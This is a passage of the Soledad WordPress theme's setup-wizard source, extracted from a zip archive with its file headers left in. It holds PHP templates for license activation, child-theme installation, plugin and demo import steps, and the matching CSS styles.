            $code_len       = strlen( $purchased_code );
            $code_display   = substr( $purchased_code, 0, 8 ) . str_repeat( '*', $code_len - 16 ) . substr( $purchased_code, $code_len - 8, 8 );
            ?>
            <strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Item Purchase Code', 'soledad' ); ?></strong> : &nbsp;&nbsp;
            <strong><?php echo $code_display; ?></strong><br>
        <?php } ?>
    </p>
    <?php } else { ?>
    <form id="penci-check-license"
          action="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ); ?>">
        <div class="penci-activate-inputs">
            <input name="evato-code" class="penci-form-control evato-code" type="text"
                   placeholder="<?php esc_html_e( 'Your Purchase Code', 'soledad' ); ?>" value=""
                   autocomplete="off">
            <input type="hidden" name="server-id" class="server-id"
                   value="" readonly/>
            <span class="penci-form-control-bar"></span>
            <div class="penci-activate-err">
                <span class="penci-err-missing"><?php esc_html_e( 'Code is required', 'soledad' ); ?></span>
                <span class="penci-err-length"><?php esc_html_e( 'Code is too short', 'soledad' ); ?></span>
                <span class="penci-err-invalid"><?php esc_html_e( 'Invalid purchase code. Please check it again.', 'soledad' ); ?></span>
            </div>
        </div>
        <button class="soledad-activate-button"><?php esc_html_e( 'Activate theme', 'soledad' ); ?></button>
        <div class="spinner"></div>
        <div class="soledad-find-code">
            <a href="<?php echo esc_url( 'https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-' ); ?>"
               target="_blank">
				<?php esc_html_e( 'Find Your Purchase Code', 'soledad' ); ?>
            </a>
        </div>
    </form>
    <div class="penci-activate-extra-notes">
        <p class="penci-activate-desc" style="margin: 30px 0 10px;">
			<?php _e( 'To deliver you a better customer support service, access to features and to prevent piracy when the theme is activated the following data is sent to our servers:', 'soledad' ); ?>
        </p>
        <ul style="list-style: square; padding-left: 40px; font-size: 14px;">
            <li><?php _e( 'The Envato username', 'soledad' ); ?></li>
            <li><?php _e( 'The Envato purchase code for the item', 'soledad' ); ?></li>
            <li><?php _e( 'The website URL you\'ve activated the theme', 'soledad' ); ?></li>
            <li><?php _e( 'The server IP address that has the theme installed', 'soledad' ); ?></li>
        </ul>
        <p class="penci-activate-desc"
           style="margin-bottom: 0;"><?php _e( 'The data is stored in a server located in US, and we do not share any of this information with third-party partners.' ); ?></p>
        </p>
    </div>
    <?php } ?>
</div>

<div class="soledad-wizard-footer">
	<?php $this->get_prev_button( 'welcome' ); ?>
    <div>
        <?php $this->get_next_button( 'child-theme' ); ?>
    </div>
</div>PK     N\%  %  +  inc/installations/templates/child-theme.phpnu [        <div class="soledad-wizard-content-inner soledad-wizard-child-theme<?php echo is_child_theme() ? ' soledad-installed' : ''; ?>">

    <div class="soledad-child-theme-response"></div>

    <h3>
		<?php esc_html_e( 'Setup Soledad Child Theme', 'soledad' ); ?>
    </h3>

    <p>
		<?php
    if ( is_child_theme() ) {
        esc_html_e( 'You have already installed the child theme. You can now customize it as you like.', 'soledad' );
    } else {
        esc_html_e( 'The Soledad Child Theme is a WordPress theme that inherits the functionality and styling of the Soledad Parent Theme, allowing you to make customizations without affecting the parent theme.', 'soledad' );
    }
    ?>
    </p>

    <div class="soledad-theme-images">
        <div class="soledad-main-image">
            <img src="<?php echo PENCI_SOLEDAD_URL . '/screenshot.png'; ?>" alt="parent">
        </div>
        <div class="soledad-child-image">
          <img src="<?php echo PENCI_SOLEDAD_URL . '/screenshot.png'; ?>" alt="child">
        </div>
        <span class="soledad-child-checkmark"></span>
    </div>

    <p>
		<?php
		esc_html_e(
			'If you are going to make changes to the theme source code please use the Child Theme rather than modifying the main theme HTML/CSS/PHP code. This allows the parent theme to receive updates without overwriting your source code changes. Use the button below to create and activate the Child Theme.',
			'soledad'
		);
		?>
    </p>

    <a href="#" class="soledad-btn soledad-color-primary soledad-install-child-theme">
		  <?php esc_html_e( 'Install child theme', 'soledad' ); ?>
    </a>
</div>

<div class="soledad-wizard-footer">
	<?php $this->get_prev_button( 'activation' ); ?>
    <div>
		<?php $this->get_next_button( 'plugins' ); ?>
		<?php $this->get_skip_button( 'plugins' ); ?>
    </div>
</div>PK     N\U    $  inc/installations/templates/done.phpnu [        <?php
update_option( 'soledad_setup_status', 'done', false );
?>
<div class="soledad-wizard-content-inner soledad-wizard-done">
	<div class="soledad-wizard-logo">
		<img src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/images/penci-logo-themeforest.png' ); ?>" alt="logo">
	</div>

	<h3>
		<?php esc_html_e( 'Everything is ready!', 'soledad' ); ?>
	</h3>

	<p>
		<?php
		esc_html_e(
			'Congratulations! The theme has been installed successfully, and you’re all set to begin creating your stunning website. Enjoy full control over design and layout, allowing you to build a site that truly reflects your unique vision.',
			'soledad'
		);
		?>
	</p>

	<div class="soledad-wizard-buttons">
		<a class="penci-install-btn penci-install-color-alt penci-install-i-view" href="<?php echo esc_url( admin_url() ); ?>">
			<?php esc_html_e( 'Return to Dashboard', 'soledad' ); ?>
		</a>
		
		<a class="penci-install-btn penci-install-color-primary penci-install-i-view" href="<?php echo esc_url( get_home_url() ); ?>">
			<?php esc_html_e( 'View Site', 'soledad' ); ?>
		</a>

		<a class="penci-install-inline-btn penci-install-i-theme-settings" href="<?php echo esc_url( admin_url( 'customize.php' ) ); ?>">
			<?php esc_html_e( 'Customizations', 'soledad' ); ?>
		</a>
	</div>
</div>PK     N\Bc    '  inc/installations/templates/plugins.phpnu [        <?php
if ( isset( $_GET['soledad_builder'] ) ) {
	$builder = esc_html( $_GET['soledad_builder'] );
} else {
	$builder = 'elementor';
}

$installations = Soledad_Theme_Installations::get_instance();
$plugins_list = $installations->get_plugins();

if ( $installations->is_setup() ) {
	$button_item_class = 'penci-install-inline-btn penci-install-style-underline';
} else {
	$button_item_class = 'penci-install-btn';
}
$active_list = 0;
?>
<div class="penci-install-plugins<?php echo $installations->is_all_activated() ? ' penci-install-all-active' : ''; ?>">
	<div class="penci-install-plugin-response"></div>

	<?php if ( $installations->is_setup() ) : ?>
		<h3>
			<?php esc_html_e( 'Plugins activation', 'soledad' ); ?>
		</h3>

		<p>
			<?php esc_html_e( 'Install and activate plugins for your website.', 'soledad' ); ?>
		</p>
	<?php endif; ?>

	<ul>
		<?php foreach ( $plugins_list as $slug => $plugin_data ) : 
			if ( $plugin_data['name'] == '' ){
				continue; // Skip plugins without a name
			}

			if ( 'deactivate' == $plugin_data['status'] ) {
				$active_list++;
			}

			?>
			
			<li class="soledad-plugin-wrapper<?php echo isset( $plugin_data['description'] ) ? ' penci-install-large' : ''; ?>">
				<div class="penci-install-plugin-heading">
				
					<span class="penci-install-plugin-name">
						<?php echo esc_html( $plugin_data['name'] ); ?>
					</span>
				</div>

					<span class="penci-install-plugin-required">
						<?php if ( ! empty( $plugin_data['required'] ) || 'elementor' === $slug || 'js_composer' === $slug ) : ?>
							
							<span class="penci-install-plugin-required-text">
								<?php esc_html_e( 'Required', 'soledad' ); ?>
							</span>
						<?php endif; ?>
					</span>

				<?php if ( ! empty( $plugin_data['description'] ) ) : ?>
					<div class="penci-install-plugin-description">
						<?php echo esc_html( $plugin_data['description'] ); ?>
					</div>
				<?php endif; ?>

				<span class="penci-install-plugin-version">
					<?php if ( ! empty( $plugin_data['version'] ) ) : ?>
						<span>
							<?php echo esc_html( $plugin_data['version'] ); ?>
						</span>
					<?php endif; ?>
				</span>

				<div class="penci-install-plugin-btn-wrapper">
					<?php if ( is_multisite() && is_plugin_active_for_network( $plugin_data['file_path'] ) ) : ?>
						<span class="penci-install-plugin-btn-text">
							<?php esc_html_e( 'Plugin activated globally.', 'soledad' ); ?>
						</span>
					<?php elseif ( isset( $plugin_data['status'] ) && 'require_update' !== $plugin_data['status'] ) : ?>
						<a class="<?php echo esc_attr( $button_item_class ); ?> soledad-ajax-plugin soledad-<?php echo esc_html( $plugin_data['status'] ); ?>"
							href="<?php echo esc_url( $installations->get_action_url( $slug, $plugin_data['status'] ) ); ?>"
							data-plugin="<?php echo esc_attr( $slug ); ?>"
							data-action="<?php echo esc_attr( $plugin_data['status'] ); ?>">
							<span><?php echo esc_html( $installations->get_action_text( $plugin_data['status'] ) ); ?></span>
						</a>
					<?php elseif ( $installations->is_setup() ) : ?>
						<span class="penci-install-plugin-btn-text">
							<?php esc_html_e( 'Required update not available', 'soledad' ); ?>
						</span>
					<?php endif; ?>

					<?php if ( isset( $plugin_data['buttons'] ) ) : ?>
						<?php foreach ( $plugin_data['buttons'] as $button ) : ?>
							<a href="<?php echo esc_url( $button['url'] ); ?>" class="penci-install-btn<?php echo isset( $button['extra-class'] ) ? ' ' . esc_attr( $button['extra-class'] ) : ''; ?>">
								<?php echo esc_html( $button['name'] ); ?>
							</a>
						<?php endforeach; ?>
					<?php endif; ?>
				</div>
			</li>
		<?php endforeach; ?>
	</ul>

	<?php if ( $plugins_list && ( ! isset( $args['show_plugins'] ) || 'compatible' !== $args['show_plugins'] ) ) : ?>
		<script>
			var penci_plugin_data = <?php echo wp_json_encode( $plugins_list ); ?>
		</script>
	<?php endif; ?>
</div>

<?php if ( $installations->is_setup() ) : ?>
	<div class="soledad-wizard-footer">
		<?php $installations->get_prev_button( 'child-theme' ); ?>
		<div>
			<?php 
			if ( $active_list < 5 ) : 
			?>
			<a class="penci-install-inline-btn penci-install-style-underline soledad-wizard-all-plugins" href="#">
				<?php esc_html_e( 'Install & activate all', 'soledad' ); ?>
			</a>
			<?php endif; ?>
			<?php $installations->get_next_button( 'demo', '', count( $installations->get_required_plugins_to_activate() ) > 0 ); ?>
		</div>
	</div>
<?php endif; ?>
PK     N\bzK    $  inc/installations/templates/demo.phpnu [        <?php
$demo_data_list     = apply_filters( 'penci_soledad_demo_packages', array() );
$plugins_required   = apply_filters( 'penci_soledad_plugins_required', array() );
$data_import_option = get_option( 'penci_import_demo_data' );
$installed_demo     = isset( $data_import_option['installed_demo'] ) ? $data_import_option['installed_demo'] : 'empty';
$class              = 'empty' !== $installed_demo ? 'has-imported' : '';
?>

<div class="soledad-wizard-content-inner soledad-wizard-dummy<?php echo esc_attr( $wrapper_classes ); ?>">

    <h1 class="page-title-wz"><?php _e( 'Pick the demo that you want to import', 'soledad' ); ?> </h1>

    <div class="penci-demo-search-form">
        <form>
            <input id="penci-demo-search" name="penci-demo-search" type="text"
                    placeholder="<?php _e( 'Type to search the demo', 'soledad' ); ?>">
        </form>
    </div>

    <div class="demos-container-wrap">
        <div class="demos-container <?php echo $class; ?>">
			<?php
			foreach ( $demo_data_list as $demo => $data ) :
				$item_class = array();
				$item_class[] = 'demo-selector';
				if ( isset( $data['plugins'] ) && is_array( $data['plugins'] ) ) {
					foreach ( $data['plugins'] as $plugin ) {
						if ( ! is_plugin_active( 'elementor/elementor.php' ) && 'elementor' == $plugin ) {
							$item_class[] = 'req-elementor';
						}

						if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) && 'woocommerce' == $plugin ) {
							$item_class[] = 'req-woocommerce';
						}

						if ( ! is_plugin_active( 'penci-finance/penci-finance.php' ) && 'penci-finance' == $plugin ) {
							$item_class[] = 'req-penci-finance';
						}

						if ( ! is_plugin_active( 'penci-sport/penci-sport.php' ) && 'penci-sport' == $plugin ) {
							$item_class[] = 'req-penci-sport';
						}
					}
				}
				$install_title = __( 'Install', 'soledad' );
				$install_class = 'button button-primary penci-winstall-demo';
				if ( $installed_demo == $demo ) {
					$item_class[]  = 'demo-selector-installed';
					$install_title = __( 'Uninstall', 'soledad' );
					$install_class = 'button button-primary penci-wuninstall-demo';
				}
				?>
                <form action="<?php echo esc_url( add_query_arg( array( 'step' => 2 ) ) ); ?>" method="post"
                      class="<?php echo esc_attr( implode( ' ', array_filter( $item_class ) ) ); ?>">
					<?php wp_nonce_field( 'penci_soledad_import_demo' ); ?>
                    <input type="hidden" name="demo" value="<?php echo esc_attr( $demo ); ?>">


                    <div class="demo-image">
                        <img src="<?php echo esc_url( $data['preview'] ); ?>">

                        <div class="penci-demo-hover">
                            <div class="penci-div-inner">
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="include-style" checked="checked"
                                           type="checkbox">
                                    <span>Import Demo Style</span>
                                </div>
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="include-pages" checked="checked"
                                           type="checkbox">
                                    <span>Import Pages</span>
                                </div>
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="include-posts" checked="checked"
                                           type="checkbox">
                                    <span>Import Posts</span>
                                </div>
								<?php if ( isset( $data['plugins'] ) && is_array( $data['plugins'] ) && in_array( 'woocommerce', $data['plugins'] ) ) : ?>
                                    <div class="penci-demo-include">
                                        <input class="input include-content" name="include-products"
                                               checked="checked"
                                               type="checkbox">
                                        <span>Import Products</span>
                                        <input type="hidden" name="woocommerce_demo" value="1">
                                    </div>
								<?php endif; ?>
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="generate-image" checked="checked"
                                           type="checkbox">
                                    <span>Generate Images</span>
                                </div>
								<?php $id_demo = isset( $data['id_demo'] ) ? $data['id_demo'] : ''; ?>

                            </div>
                        </div>
                    </div>

                    <div class="demo-selector-tools">
                        <div class="demo-install-progress"></div>
                        <div class="demo-install-actions">

                            <input data-installing-text="<?php echo __( 'Installing ...', 'soledad' );?>" data-uninstall-text="<?php echo __( 'Uninstall', 'soledad' );?>" type="submit" class="<?php echo esc_attr( $install_class ); ?>"
                                   value="<?php echo $install_title; ?>">

                            <h2 class="demo-title"><?php echo $data['name']; ?></h2>
                        
                        </div>
                    </div>
                </form>

			<?php endforeach; ?>

        </div>
    </div>
	<div class="penci-soledad-demo-import-log"></div>
</div>



<div class="penci-install-note-wrapper">
    <p class="penci-install-note">
		<?php
		echo esc_html(
			'You can import any of the prebuilt websites that will include a home page, a few products, posts, projects, images and menus. You will be able to switch to any website at any time or just skip this step for now.',
			'soledad'
		);
		?>
    </p>
</div>

<div class="soledad-wizard-footer">
	<?php $this->get_prev_button( 'plugins' ); ?>
    <div>
		<?php $this->get_next_button( 'done' ); ?>
		<?php $this->get_skip_button( 'done' ); ?>
    </div>
</div>PK     N\<DB$    '  inc/installations/templates/sidebar.phpnu [        <div class="soledad-wizard-done-nav">
	<div class="soledad-wizard-done-nav-img">
		<span class="soledad-wizard-done-nav-i"></span>
	</div>

	<h3>
		<?php esc_html_e( 'Congratulations!', 'soledad' ); ?>
	</h3>

	<p>
		<?php esc_html_e( 'You have successfully installed our theme.', 'soledad' ); ?>
	</p>
</div>

<ul>
	<?php
	$index        = 0;
	$current_page = 'welcome';

	if ( isset( $_GET['step'] ) && ! empty( $_GET['step'] ) ) { // phpcs:ignore
		$current_page = trim( wp_unslash( $_GET['step'] ) ); // phpcs:ignore
	}

	$current_page_index = array_search( $current_page, array_keys( $this->available_pages ), true );

	?>
	<?php foreach ( $this->available_pages as $slug => $text ) : ?>
		<?php
		$classes = '';
		if ( $index > $current_page_index ) {
			$classes .= ' penci-install-disabled';
		}

		if ( $this->is_active_page( $slug ) ) {
			$classes .= ' penci-install-active';
		}

		?>
		<li class="<?php echo esc_attr( $classes ); ?>" data-slug="<?php echo esc_attr( $slug ); ?>">
			<a href="<?php echo esc_url( $this->get_page_url( $slug ) ); ?>">
				<?php echo esc_html( $text ); ?>
			</a>
		</li>
		<?php $index++; ?>
	<?php endforeach; ?>
</ul>

<?php if ( isset( $_GET['step'] ) && 'welcome' === $_GET['step'] || ! isset( $_GET['step'] ) ) : // phpcs:ignore ?>
	
<?php else : ?>
	<a class="soledad-wizard-help penci-install-i-alert-info" href="https://soledad.pencidesign.net/soledad-document/" target="_blank">
		<?php esc_html_e( 'Documentation', 'soledad' ); ?>
	</a>
<?php endif; ?>
PK     N\_    '  inc/installations/templates/welcome.phpnu [        <div class="soledad-wizard-content-inner soledad-wizard-welcome">

	<div class="soledad-wizard-logo">
		<img class="soledad-wizard-logo" src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/images/penci-logo-themeforest.png' ); ?>" alt="logo">
		</div>

	<h3>
		<?php esc_html_e( 'Thank you for choosing our theme!', 'soledad' ); ?>
	</h3>

	<p>
		<?php
		esc_html_e(
			'The theme has been installed successfully, and you\'re ready to start building your awesome website. With full control over layout and design, you can create a site that truly reflects your vision.',
			'soledad'
		);
		?>
	</p>

	<p>
		<?php
		esc_html_e(
			'Take a look at the next steps to get started, and enjoy the process of launching your new project. If you have any questions, don’t hesitate to reach out—we’re always happy to help.',
			'soledad'
		);
		?>
	</p>

	<p class="soledad-wizard-signature">
		<span>
			<?php esc_html_e( 'Wishing you all the best with your new website!', 'soledad' ); ?>
		</span>
	</p>

	<div class="soledad-wizard-buttons">
		<a class="penci-install-inline-btn penci-install-style-underline" href="<?php echo esc_url( admin_url( 'admin.php?page=soledad_dashboard_welcome&skip_setup' ) ); ?>">
			<?php esc_html_e( 'Skip setup', 'soledad' ); ?>
		</a>

		<a class="penci-install-btn penci-install-color-primary penci-install-next" href="<?php echo esc_url( $this->get_page_url( 'activation' ) ); ?>">
			<?php esc_html_e( 'Let\'s start', 'soledad' ); ?>
		</a>
	</div>

</div>
PK     N\U  U  "  inc/installations/assets/style.cssnu [        .soledad-setup-wizard-page {
	overflow: hidden;
}
.page-title-wz {
	font-size: 18px;
	text-align: center;
	margin: 0 0 30px;
}
.soledad-setup-wizard-page #adminmenumain,
.soledad-setup-wizard-page #wpfooter,
.soledad-setup-wizard-page #wpadminbar {
	display: none;
}
.soledad-setup-wizard-page #wpadminbar,
.soledad-setup-wizard-page #wpcontent,
.soledad-setup-wizard-page #wpfooter {
	margin: 0;
}
.soledad-setup-wizard-page #wpbody-content {
	display: flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	padding: 0;
	min-height: 100vh;
	max-width: 100%;
}
.soledad-setup-wizard-page
	#wpbody-content
	:is(.soledad-setup-wizard-wrap, .soledad-footer) {
	margin-inline: auto;
	max-width: 1000px;
	width: 100%;
	box-shadow: 1px 0px 10px rgba(51, 44, 44, 0.26);
}
.soledad-setup-wizard-page #wpbody-content .soledad-footer {
	margin-top: 20px;
}
.soledad-setup-wizard-page .notice {
	display: none !important;
}
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	.soledad-wizard-nav,
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	#wpadminbar,
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	#adminmenu,
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	.soledad-footer.soledad-theme-style,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	.soledad-wizard-nav,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	#wpadminbar,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	#adminmenu,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	.soledad-footer.soledad-theme-style {
	pointer-events: none;
}
.soledad-setup-wizard {
	--penci-brd-radius: 0;
	--penci-btn-primay-color: #0785d3;
	--penci-btn-primary-color-hover: #0064a1;
	--wp-admin-theme-color-darker-10: #00578d;
	--wp-admin-theme-color-darker-20: #003353;
	--wp-admin-theme-color--rgb: 124, 179, 43;
	--penci-grey-color: #f1f1f1;
	display: flex;
	min-height: 580px;
	border-radius: var(--penci-brd-radius);
	background-color: #fbfbfb;
}
.soledad-setup-wizard img {
	max-width: 180px;
	height: auto;
	vertical-align: middle;
}
.soledad-setup-wizard a {
	outline: none;
	box-shadow: none;
	text-decoration: none;
	transition: all 0.25s ease;
}
.soledad-setup-wizard input[type="text"]:disabled {
	pointer-events: none;
}
.soledad-setup-wizard .soledad-box {
	background-color: transparent;
	box-shadow: none;
}
.soledad-setup-wizard .soledad-box-header {
	margin-bottom: 25px;
	min-height: auto;
	border: none;
}
.soledad-setup-wizard .soledad-box-header h3 {
	margin: 0;
}
.soledad-setup-wizard :is(.soledad-box-header, .soledad-box-content) {
	padding: 0;
}
.soledad-setup-wizard .soledad-msg > p {
	margin-block: 0 30px;
}
.soledad-setup-wizard .soledad-notice {
	font-size: 12px;
}
.soledad-setup-wizard .soledad-note {
	background-color: #f1f1f1;
	font-size: 12px;
}
.soledad-setup-wizard ::-webkit-scrollbar,
.soledad-setup-wizard ::-webkit-scrollbar-track,
.soledad-setup-wizard ::-webkit-scrollbar-thumb {
	border-radius: 3px;
}
.soledad-setup-wizard ::-webkit-scrollbar {
	width: 5px;
}
.soledad-setup-wizard ::-webkit-scrollbar-track {
	background-color: rgba(0, 0, 0, 0.05);
}
.soledad-setup-wizard ::-webkit-scrollbar-thumb {
	background-color: rgba(0, 0, 0, 0.12);
}
.soledad-wizard-nav {
	position: relative;
	display: flex;
	flex-direction: column;
	justify-content: space-between;
	max-width: 280px;
	width: 100%;
	background: var(--wp-admin-theme-color);
	border-start-start-radius: var(--penci-brd-radius);
	border-end-start-radius: var(--penci-brd-radius);
	flex-shrink: 0;
}
.soledad-wizard-nav ul {
	margin: 0;
	padding: 60px 45px;
}
.soledad-wizard-nav ul li {
	margin-bottom: 20px;
	transition: all 0.25s ease;
	user-select: none;
}
.soledad-wizard-nav ul li a {
	position: relative;
	display: flex;
	align-items: center;
	color: rgba(255, 255, 255, 0.8);
}
.soledad-wizard-nav ul li a:before {
	content: "";
	display: block;
	margin-inline: 1px 13px;
	width: 20px;
	height: 20px;
	border-radius: 50%;
	background-color: #fff;
}
.soledad-wizard-nav ul li a:after {
	content: "\f15e";
	position: absolute;
	top: 0;
	inset-inline-start: 1px;
	width: 20px;
	color: var(--wp-admin-theme-color);
	text-align: center;
	font-size: 16px;
	font-family: "dashicons";
	line-height: 20px;
}
.soledad-wizard-nav ul li.penci-install-active {
	opacity: 1;
}
.soledad-wizard-nav ul li.penci-install-active a {
	color: #fff;
}
.soledad-wizard-nav ul li.penci-install-active a:after {
	top: 6px;
	inset-inline-start: 7px;
	width: 8px;
	height: 8px;
	border-radius: 50%;
	background-color: var(--wp-admin-theme-color);
	font-size: 0;
}
.soledad-wizard-nav ul li:is(.penci-install-active, .penci-install-disabled) {
	pointer-events: none;
}
.soledad-wizard-nav ul li.penci-install-disabled {
	opacity: 0.5;
}
.soledad-wizard-nav ul li.penci-install-disabled a:before {
	margin-top: 1px;
	margin-inline: 2px 14px;
	margin-bottom: 2px;
	width: 17px;
	height: 17px;
}
.soledad-wizard-nav ul li.penci-install-disabled a:after {
	display: none;
}
.soledad-wizard-nav ul li:hover:not(.penci-install-disabled) a {
	color: #fff;
}
.soledad-wizard-help {
	display: flex;
	align-items: center;
	padding: 0 40px 40px 40px;
	color: #fff;
	font-size: 14px;
}
.soledad-wizard-help:before {
	margin-inline-end: 10px;
}
.soledad-wizard-help:hover,
.soledad-wizard-help:focus {
	color: rgba(255, 255, 255, 0.8);
}
.soledad-wizard-content {
	display: flex;
	flex-grow: 1;
	flex-direction: column;
	justify-content: space-between;
	padding: 60px 60px 40px 60px;
}
.soledad-wizard-content h3 {
	font-size: 26px;
	line-height: 1;
}
.soledad-wizard-content p {
	color: #5b5b5b;
	font-size: 14px;
}
.soledad-wizard-content .soledad-btn {
	align-items: center;
	padding: 0 20px;
	height: 40px;
	line-height: 40px;
}
.soledad-wizard-content .soledad-btn.soledad-shown {
	display: inline-flex;
}
.soledad-wizard-content .penci-install-disabled .soledad-color-primary,
.soledad-wizard-content .soledad-color-primary.penci-install-disabled {
	color: #b9b9b9 !important;
	pointer-events: none;
	user-select: none;
}
.soledad-wizard-content
	.penci-install-disabled
	.soledad-btn.soledad-color-primary,
.soledad-wizard-content .soledad-color-primary.penci-install-disabled {
	background-color: var(--penci-grey-color) !important;
}
.soledad-wizard-content .penci-install-disabled .soledad-inline-btn {
	opacity: 0.5;
}
.soledad-wizard-content .soledad-next:after {
	margin-inline: 5px -5px;
	font-weight: 400;
	content: "\f345";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.rtl .soledad-wizard-content .soledad-next:after {
	content: "\e908";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-wizard-content .soledad-prev:before {
	margin-inline: -5px 5px;
	font-weight: 400;
	content: "\f341";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.rtl .soledad-wizard-content .soledad-prev:before {
	content: "\e909";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-wizard-logo {
	margin-bottom: 25px;
	min-height: 36px;
	max-width: 245px;
	width: 245px;
}
.soledad-wizard-footer {
	display: flex;
	align-items: center;
	justify-content: space-between;
	margin-top: 30px;
}
.soledad-wizard-footer div {
	min-width: 330px;
	text-align: right;
}
.soledad-wizard-footer.penci-install-disabled {
	pointer-events: none;
}
:is(.soledad-wizard-footer, .soledad-wizard-buttons)
	:is(.soledad-btn, .soledad-inline-btn):not(:first-child) {
	margin-inline-start: 20px;
}
:is(.soledad-wizard-footer, .soledad-wizard-buttons) .soledad-inline-btn {
	margin-block: 10px;
}
.soledad-wizard-welcome p {
	max-width: 550px;
}
.soledad-wizard-content .soledad-wizard-signature {
	margin-top: 30px;
	line-height: 60px;
}
.soledad-wizard-content .soledad-wizard-signature img {
	margin-inline-start: 10px;
	max-width: 95px;
}
.soledad-wizard-buttons {
	margin-top: 40px;
}
.soledad-wizard-content .soledad-license .soledad-box-header {
	flex-wrap: wrap;
}
.soledad-wizard-content .soledad-license .soledad-box-header h3 {
	margin-bottom: 20px;
}
.soledad-wizard-content .soledad-license .soledad-box-header p {
	display: block;
	width: 100%;
}
.soledad-wizard-content .soledad-license-img {
	display: none;
}
.soledad-wizard-content .soledad-license-content {
	flex-basis: 100%;
	max-width: 100%;
}
.soledad-wizard-content .soledad-license-btn:before {
	inset-inline-start: 14px;
}
.soledad-wizard-content .soledad-license-btn input {
	padding-inline-start: 35px;
}
.soledad-wizard-child-theme.soledad-installed .soledad-child-image {
	opacity: 1;
	transform: none;
}
.soledad-wizard-child-theme.soledad-installed .soledad-child-image:before {
	opacity: 1;
}
.soledad-wizard-child-theme.soledad-installed
	+ .soledad-wizard-footer
	.soledad-skip {
	display: none;
}
.soledad-wizard-child-theme:not(.soledad-installed)
	+ .soledad-wizard-footer
	.soledad-next {
	display: none;
}
.soledad-theme-images {
	display: flex;
	align-items: center;
	margin-bottom: 20px;
	min-height: 115px;
}
.soledad-theme-images > div {
	padding: 3px;
	border: 1px solid rgba(0, 0, 0, 0.05);
	border-radius: var(--penci-brd-radius);
	background-color: #fff;
}
.soledad-theme-images > div img {
	border-radius: inherit;
}
.soledad-main-image {
	position: relative;
	z-index: 5;
}
.soledad-child-image {
	position: relative;
	margin-inline-start: 10px;
	opacity: 0;
	transition: all 0.4s ease;
	transform: translateX(-100%);
}
.soledad-child-image:before {
	position: absolute;
	top: -7px;
	inset-inline-end: -7px;
	display: flex;
	align-items: center;
	justify-content: center;
	width: 20px;
	height: 20px;
	border-radius: 50%;
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	font-size: 17px;
	opacity: 0;
	transition: all 0.4s ease 0.4s;
	content: "\f147";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-install-child-theme:after {
	display: none !important;
	margin-inline-end: -5px;
	margin-inline-start: 12px;
	content: "";
	display: inline-block;
	width: 14px;
	height: 14px;
	border: 1px solid rgba(255, 255, 255, 0.15);
	border-left-color: #fff;
	border-radius: 50%;
	vertical-align: middle;
}
.soledad-install-child-theme.soledad-loading {
	color: #fff;
	opacity: 0.8;
	pointer-events: none;
}
.soledad-install-child-theme.soledad-loading:after {
	display: inline-block !important;
	animation: penci-menu-rotate 450ms infinite linear;
}
.soledad-wizard-child-theme.soledad-installed .soledad-color-primary {
	background-color: var(--penci-grey-color);
	color: #b9b9b9 !important;
	pointer-events: none;
	user-select: none;
	padding: 10px 20px;
}
.soledad-wizard-builder-select {
	display: flex;
	flex-direction: column;
	gap: 10px;
}
.soledad-wizard-builder-select > :is(div, span) {
	display: flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	width: 100%;
}
.soledad-wizard-builder-select > div {
	flex: 1 1 0%;
	align-items: center;
	flex-direction: row;
	justify-content: flex-start;
	gap: 15px;
	padding: 20px;
	border-radius: var(--penci-brd-radius);
	background-color: #fff;
	cursor: pointer;
	transition: all 0.25s ease;
	border: 2px solid transparent;
}
.soledad-wizard-builder-select > div > * {
	transition: inherit;
}
.soledad-wizard-builder-select > div p {
	margin-bottom: 0;
}
.soledad-wizard-builder-select > div:hover {
	border-color: var(--penci-option-border-color);
}
.soledad-wizard-builder-select > div.penci-install-active {
	border-color: var(--penci-btn-primay-color);
}
.soledad-wizard-builder-select > span {
	display: none;
	font-weight: 500;
}
.soledad-page-builder-img {
	display: flex;
	align-items: center;
	justify-content: center;
	width: 40px;
	height: 40px;
}
.soledad-page-builder-text {
	display: flex;
	flex-direction: column;
	gap: 4px;
}
.soledad-page-builder-title {
	color: #333;
	font-weight: 700;
	font-size: 16px;
}
.soledad-wizard-dummy .soledad-sp-20 {
	--penci-sp: 10px;
}
.soledad-wizard-dummy :is(.soledad-btn, .soledad-bordered-btn) {
	padding: 0 10px;
	height: 30px;
	font-size: 11px;
	line-height: 30px;
}
.soledad-wizard-dummy .soledad-box-header {
	margin-bottom: 20px;
}
.soledad-wizard-dummy .soledad-box-header .soledad-col {
	justify-content: space-between;
}
.soledad-wizard-dummy .soledad-box-header .soledad-import-search {
	margin-inline: 10px 0;
}
.soledad-wizard-dummy :is(.soledad-col-remove-content, .soledad-col-dummy-nav) {
	display: none !important;
}
